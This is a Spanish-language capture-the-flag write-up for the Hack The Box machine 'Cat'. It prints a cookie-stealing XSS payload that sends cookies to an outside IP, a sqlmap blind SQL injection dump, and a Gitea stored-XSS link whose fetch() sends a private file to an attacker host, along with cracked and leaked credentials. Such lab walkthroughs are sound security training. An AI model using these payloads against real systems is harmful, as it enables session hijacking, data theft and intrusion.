Máquinas/CTF

Máquina resuelta


1. Escaneo de puertos tcp

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://cat.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

2. Enumeración

Empezamos enumerando y listado todos los directorios y archivos con la herramienta dirsearch:


# python dirsearch.py -u http://cat.htb

_|. _ _  _  _  _ _|_    v0.4.3                                                                                                                    
(_||| _) (/_(_|| (_| )                                                                                                                                                                      
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://cat.htb/

[06:39:38] Scanning:                                                                                                                                                                                                                                        
[06:39:45] 301 -   301B - /.git  ->  http://cat.htb/.git/                   
[06:39:45] 403 -   272B - /.git/                                            
[06:39:45] 403 -   272B - /.git/branches/
[06:39:45] 200 -     7B - /.git/COMMIT_EDITMSG
[06:39:45] 200 -    92B - /.git/config                                      
[06:39:45] 200 -    23B - /.git/HEAD
[06:39:45] 200 -    73B - /.git/description                                 
[06:39:45] 403 -   272B - /.git/hooks/                                      
[06:39:45] 200 -    2KB - /.git/index                                       
[06:39:45] 403 -   272B - /.git/info/                                       
[06:39:45] 200 -   240B - /.git/info/exclude
[06:39:45] 403 -   272B - /.git/logs/
[06:39:45] 200 -   150B - /.git/logs/HEAD
[06:39:45] 301 -   317B - /.git/logs/refs/heads  ->  http://cat.htb/.git/logs/refs/heads/
[06:39:45] 200 -   150B - /.git/logs/refs/heads/master
[06:39:45] 301 -   311B - /.git/logs/refs  ->  http://cat.htb/.git/logs/refs/
[06:39:45] 403 -   272B - /.git/objects/                                    
[06:39:45] 301 -   312B - /.git/refs/heads  ->  http://cat.htb/.git/refs/heads/
[06:39:45] 200 -    41B - /.git/refs/heads/master
[06:39:45] 403 -   272B - /.git/refs/                                       
[06:39:45] 301 -   311B - /.git/refs/tags  ->  http://cat.htb/.git/refs/tags/
[06:39:46] 403 -   272B - /.php                                             
[06:39:54] 302 -     1B - /admin.php  ->  /join.php

En dicha salida, vemos que existe un directorio .git, el cual lo podemos obtener con la herramienta git-dumper:

# git-dumper http://cat.htb .

La cual nos descarga los siguientes archivos:

total 84
-rwxr-xr-x 1 root root  893 Feb 25 09:06 accept_cat.php
-rwxr-xr-x 1 root root 4496 Feb 25 09:06 admin.php
-rwxr-xr-x 1 root root  277 Feb 25 09:06 config.php
-rwxr-xr-x 1 root root 6676 Feb 25 09:06 contest.php
drwxr-xr-x 2 root root 4096 Feb 25 09:06 css
-rwxr-xr-x 1 root root 1136 Feb 25 09:06 delete_cat.php
drwxr-xr-x 7 root root 4096 Feb 25 09:06 .git
drwxr-xr-x 2 root root 4096 Feb 25 09:06 img
drwxr-xr-x 2 root root 4096 Feb 25 09:06 img_winners
-rwxr-xr-x 1 root root 3509 Feb 25 09:06 index.php
-rwxr-xr-x 1 root root 5891 Feb 25 09:06 join.php
-rwxr-xr-x 1 root root   79 Feb 25 09:06 logout.php
-rwxr-xr-x 1 root root 2725 Feb 25 09:06 view_cat.php
-rwxr-xr-x 1 root root 1676 Feb 25 09:06 vote.php
drwxr-xr-x 2 root root 4096 Feb 25 09:06 winners
-rwxr-xr-x 1 root root 3374 Feb 25 09:06 winners.php

Una vez examinados los archivos, vemos que en el archivo join.php podemos ver como el método de registro es inseguro, pues no se realiza una correcta validación de los datos de entrada, tal y como se muestra en el siguiente fragmento de código:

// Registration process
if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['registerForm'])) {
    $username = $_GET['username'];
    $email = $_GET['email'];
    $password = md5($_GET['password']);

    $stmt_check = $pdo->prepare("SELECT * FROM users WHERE username = :username OR email = :email");
    $stmt_check->execute([':username' => $username, ':email' => $email]);
    $existing_user = $stmt_check->fetch(PDO::FETCH_ASSOC);

    if ($existing_user) {
        $error_message = "Error: Username or email already exists.";
    } else {
        $stmt_insert = $pdo->prepare("INSERT INTO users (username, email, password) VALUES (:username, :email, :password)");
        $stmt_insert->execute([':username' => $username, ':email' => $email, ':password' => $password]);

        if ($stmt_insert) {
            $success_message = "Registration successful!";
        } else {
            $error_message = "Error: Unable to register user.";
        }
    }
}

Por lo que en el campo de nombre de usuario pode probar a realizar algún tipo de inyección XSS.

 

3. Explotación

Probamos a introducir entonces la siguiente cadena en el campo del nombre del usuario:

<script>document.location='http://10.10.14.118?c='+document.cookie</script>

Si ahora subimos una foto del concurso, ponemos un servidor http a la escucha y esperamos a que el administrador lo compruebe, recibiremos la siguiente petición en la que se incluirá su cookie de sesión:

# python -m http.server 80             
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.53 - - [25/Feb/2025 09:24:40] "GET /?c=PHPSESSID=4slr5e8gqbrhesm75usul53bu7 HTTP/1.1" 200 -
10.10.11.53 - - [25/Feb/2025 09:24:40] code 404, message File not found
10.10.11.53 - - [25/Feb/2025 09:24:40] "GET /favicon.ico HTTP/1.1" 404 -

Cambiamos entonces el token de usuario en el navegador y observamos como somos capaces de acceder como usuarios administrador a la página web.

En dicha página de administrador, observamos que podemos realizar la votación a los distintos gatos del concurso. En ella podemos ver los campos que hemos subido, a la hora de registrar a uno. Si nos fijamos en el código de dicha página, gracias a los ficheros descargados del repositorio git del paso 2, vemos lo siguiente:

// Check if the form has been submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Capture form data
    $cat_name = $_POST['cat_name'];
    $age = $_POST['age'];
    $birthdate = $_POST['birthdate'];
    $weight = $_POST['weight'];

    $forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";

    // Check for forbidden content
    if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
        contains_forbidden_content($age, $forbidden_patterns) ||
        contains_forbidden_content($birthdate, $forbidden_patterns) ||
        contains_forbidden_content($weight, $forbidden_patterns)) {
        $error_message = "Your entry contains invalid characters.";

Una vez subido el gato, el administrador puede aprobar dicho gato o no. Esto se hace a través del endpoint /accept_cat.php con la siguiente petición:

POST /accept_cat.php HTTP/1.1
Host: cat.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Origin: http://cat.htb
Connection: keep-alive
Referer: http://cat.htb/admin.php
Cookie: PHPSESSID=hk7vmhrjn9v8d33pmfbo8ahtnr
Priority: u=0

catName=1&catId=1

Si observamos entonces el código del fichero accept_cat.php, que es el que tramita dicha petición, vemos lo siguiente:

$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);

Es decir, no se realiza una sanetización del parámetro catId,por lo que podemos intentar realizar un sqli. Si observamos la respuesta a dicha petición podemos ver como no somos capaces de observar una respuesta con contenido. Por lo que para agilizar el proceso de ataque podemos utilizar la herramienta sqlmap, y obtenemos lo siguiente:

# sqlmap -u "http://cat.htb/accept_cat.php" --data "catName=1&catId=1" --cookie="PHPSESSID=hk7vmhrjn9v8d33pmfbo8ahtnr" -p catName --level=5 --risk=3 --dbms=SQLite --technique=B -T "users" --threads=4 --dump 

    [10:27:18] [INFO] retrieving the length of query output
    [10:27:18] [INFO] retrieved: 159
    [10:27:56] [INFO] retrieved: CREATE TABLE users (     user_id INTEGER PRIMARY KEY,     username VARCHAR(255) NOT NULL,     email VARCHAR(255) NOT NULL,     password VARCHAR(255) NOT NULL )               
    [10:27:56] [INFO] fetching entries for table 'users'
    [10:27:56] [INFO] fetching number of entries for table 'users' in database 'SQLite_masterdb'
    [10:27:56] [INFO] retrieved: 11
    [10:27:57] [INFO] retrieving the length of query output
    [10:27:57] [INFO] retrieved: 18
    [10:28:02] [INFO] retrieved: axel2017@gmail.com             
    [10:28:02] [INFO] retrieving the length of query output
    [10:28:02] [INFO] retrieved: 32
    [10:28:10] [INFO] retrieved: d1bbba3670feb9435c9841e46e60ee2f             
    [10:28:10] [INFO] retrieving the length of query output
    [10:28:10] [INFO] retrieved: 1
    [10:28:11] [INFO] retrieved: 1
    [10:28:12] [INFO] retrieving the length of query output
    [10:28:12] [INFO] retrieved: 4
    [10:28:13] [INFO] retrieved: axel           
    [10:28:13] [INFO] retrieving the length of query output
    [10:28:13] [INFO] retrieved: 24
    [10:28:19] [INFO] retrieved: rosamendoza485@gmail.com             
    [10:28:19] [INFO] retrieving the length of query output
    [10:28:19] [INFO] retrieved: 32
    [10:28:29] [INFO] retrieved: ac369922d560f17d6eeb8b2c7dec498c             
    [10:28:29] [INFO] retrieving the length of query output
    [10:28:29] [INFO] retrieved: 1
    [10:28:30] [INFO] retrieved: 2
    [10:28:31] [INFO] retrieving the length of query output
    [10:28:31] [INFO] retrieved: 4
    [10:28:32] [INFO] retrieved: rosa           
    [10:28:32] [INFO] retrieving the length of query output
    [10:28:32] [INFO] retrieved: 29
    [10:28:39] [INFO] retrieved: robertcervantes2000@gmail.com

En dicha salida, podemos ver unos nombres de usuarios y unos hashes. Intentamos entonces crackear estos hashes con la herramienta online Crackstation y damos conseguido los siguientes credenciales:

rosa:soyunaprincesarosa

Y damos conseguido acceso al equipo.

 

3. Movimiento lateral

Podemos observar como en el directorio /home de Rosa no se encuentra la flag de usuario. Si observamos más directorios dentro de home, podemos ver el del usuario axel. Revisando logs y ficheros, descubrimos los logs del servicio apache2. En el podemos observar las conexiones a dicho servicio, y descubrir la siguiente información:

./apache2/access.log:127.0.0.1 - - [25/Feb/2025:14:49:20 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"

Accedemos por tanto, a través de ssh a dicho usuario con las credenciales axel:aNdZwgC4tI9gnVXv_e3Q. Y observamos que somos capaces de obtener las flag de usuario.

 

4. Escalado de privilegios

Cuando iniciamos sesión por ssh, vemos el siguiente banner:


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


You have mail.
Last login: Thu Feb 27 19:07:51 2025 from 10.10.16.101

Es decir, podemos observar como el usuario axel tiene un corre. Si miramos el email descubrimos lo siguiente:

From rosa@cat.htb  Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
        for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
        for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. 
Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From rosa@cat.htb  Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
        for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
        for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. 
The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. 
In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

Si listamos entonces la interfaces de red, vemos que existe un servicio web en el puerto 3000. Si forwardeamos dicho servicio a nuestra máquina:

# ssh -L 1234:127.0.0.1:3000 axel@cat.htb

Vemos un servicio llamado Gitea, con la versión 1.22.0. Si buscamos algun exploit relacionado, vemos el siguiente https://www.exploit-db.com/exploits/52077. El cual basicamente consiste en un XSS stored, más concretamente en el campo descripción cuando creamos un repositorio. Se nos puede ocurrir modificar esto para que un usuario del sistema (según el correo el usuario jobert@localhost) lea el commit y nos mande lo que contenga el endpoint http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php listado en el correo,

Para ello, siguiendo el exploit encontrado, deberemos de realizar los siguientes pasos:

  1. Primero nos logeamos como axel en gitea

  2. Creamos un repositorio, con la siguiente descripción

    <a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.15.33/?response=' + encodeURIComponent(data))).catch(error => console.error('Error:', error));">XSS test</a>
  1. Después en una terminal, en nuestro equipo, abrimos un puerto ssh escuchando:
    # python -m http.server 80
  1. En una terminal como axel, enviamos un correo a jobert pidiendo que revise nuestro repo
    echo -e "Subject: test \n\nHello check my repo http://localhost:3000/axel/test" | sendmail jobert@localhost
  1. Recibimos como respuesta el siguiente mensaje
    10.10.11.53 - - [27/Feb/2025 16:09:56] "GET /?response=%3C%3Fphp%0A%24valid_username%20%3D%20%27admin%27%3B%0A%24valid_password%20%3D%20%27IKw75eR0MR7CMIxhH0%27%3B%0A%0Aif%20(!isset(%24_SERVER%5B%27PHP_AUTH_USER%27%5D)%20%7C%7C%20!isset(%24_SERVER%5B%27PHP_AUTH_PW%27%5D)%20%7C%7C%20%0A%20%20%20%20%24_SERVER%5B%27PHP_AUTH_USER%27%5D%20!%3D%20%24valid_username%20%7C%7C%20%24_SERVER%5B%27PHP_AUTH_PW%27%5D%20!%3D%20%24valid_password)%20%7B%0A%20%20%20%20%0A%20%20%20%20header(%27WWW-Authenticate%3A%20Basic%20realm%3D%22Employee%20Management%22%27)%3B%0A%20%20%20%20header(%27HTTP%2F1.0%20401%20Unauthorized%27)%3B%0A%20%20%20%20exit%3B%0A%7D%0A%0Aheader(%27Location%3A%20dashboard.php%27)%3B%0Aexit%3B%0A%3F%3E%0A%0A HTTP/1.1" 200 -

En el que se pueden ver las credenciales admin:IKw75eR0MR7CMIxhH0. Si probamos a iniciar sesión por ssh como root:IKw75eR0MR7CMIxhH0, vemos que damos conseguido acceso, y por lo tanto somos capaces de obtener la flag de usuario root.